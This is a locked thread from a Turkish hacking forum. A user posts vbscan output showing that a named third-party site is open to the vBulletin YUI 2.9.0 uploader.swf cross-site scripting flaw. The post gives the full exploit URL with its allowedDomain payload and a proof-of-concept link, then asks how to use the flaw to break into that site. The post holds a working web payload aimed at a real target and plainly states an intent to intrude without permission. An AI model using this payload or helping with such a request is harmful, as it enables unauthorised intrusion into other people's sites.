vbulletin açık

TheNet
Konu Özeti

vBulletin YUI 2.9.0 uploader.swf dosyasında XSS açığı tespit edilmiş. Açık, allowedDomain parametresi üzerinden istismar edilebiliyor ve Packet Storm Security'de yayınlanan PoC ile doğrulanmış. Bu zafiyet kullanılarak hedef siteye nasıl sızılabileceği sorgulanıyor.

Status
Not open for further replies.
herkese merhabalar vbscan ile tarattığım bir sitede şu açığı buldum:
Code: 
[+] Checking vBulletin YUI 2.9.0 XSS
[++] uploader.swf is vulnerable
http://www.gizlimabet.com//clientscript/yui/uploader/assets/uploader.swf?allowedDomain=\"})))}catch(e){alert(/XSS/);}//
 POC : https://packetstormsecurity.com/files/124746/vBulletin-YUI-2.9.0-Cross-Site-Scripting.html
bu açığı kullanarak nasıl bu siteye sızabilirim ? iyi çalışmalar

🔒 Bu içeriği görmek için giriş yapın

 
Status
Not open for further replies.
136,632Threads
3,307,180Messages
328,486Members
militankamperLatest member

About Us & Legal Notice

Yasal Uyarı: spyhackerz.org, 5651 sayılı Kanun kapsamında “Yer Sağlayıcı”dır. Sitedeki içerikler, X, Instagram ve Facebook’ta olduğu gibi, ön onay olmadan tamamen kullanıcılar tarafından paylaşılır. Bu nedenle spyhackerz.org, kullanıcı içeriklerini veya hukuka aykırı paylaşımları izlemek, denetlemek ve araştırmakla yükümlü değildir.

Site bünyesinde herhangi bir “saldırı ekibi” bulunmamaktadır ve Türkiye’deki internet sitelerine yönelik zararlı faaliyet yürütülmez. SPYHACKERZ, üyelerin bireysel olarak gerçekleştirdiği hacking içerikli forum faaliyetlerinden sorumlu değildir. spyhackerz.org adı kullanılarak bir saldırı yapılması halinde tüm sorumluluk yalnızca ilgili üyeye aittir.
Top Bottom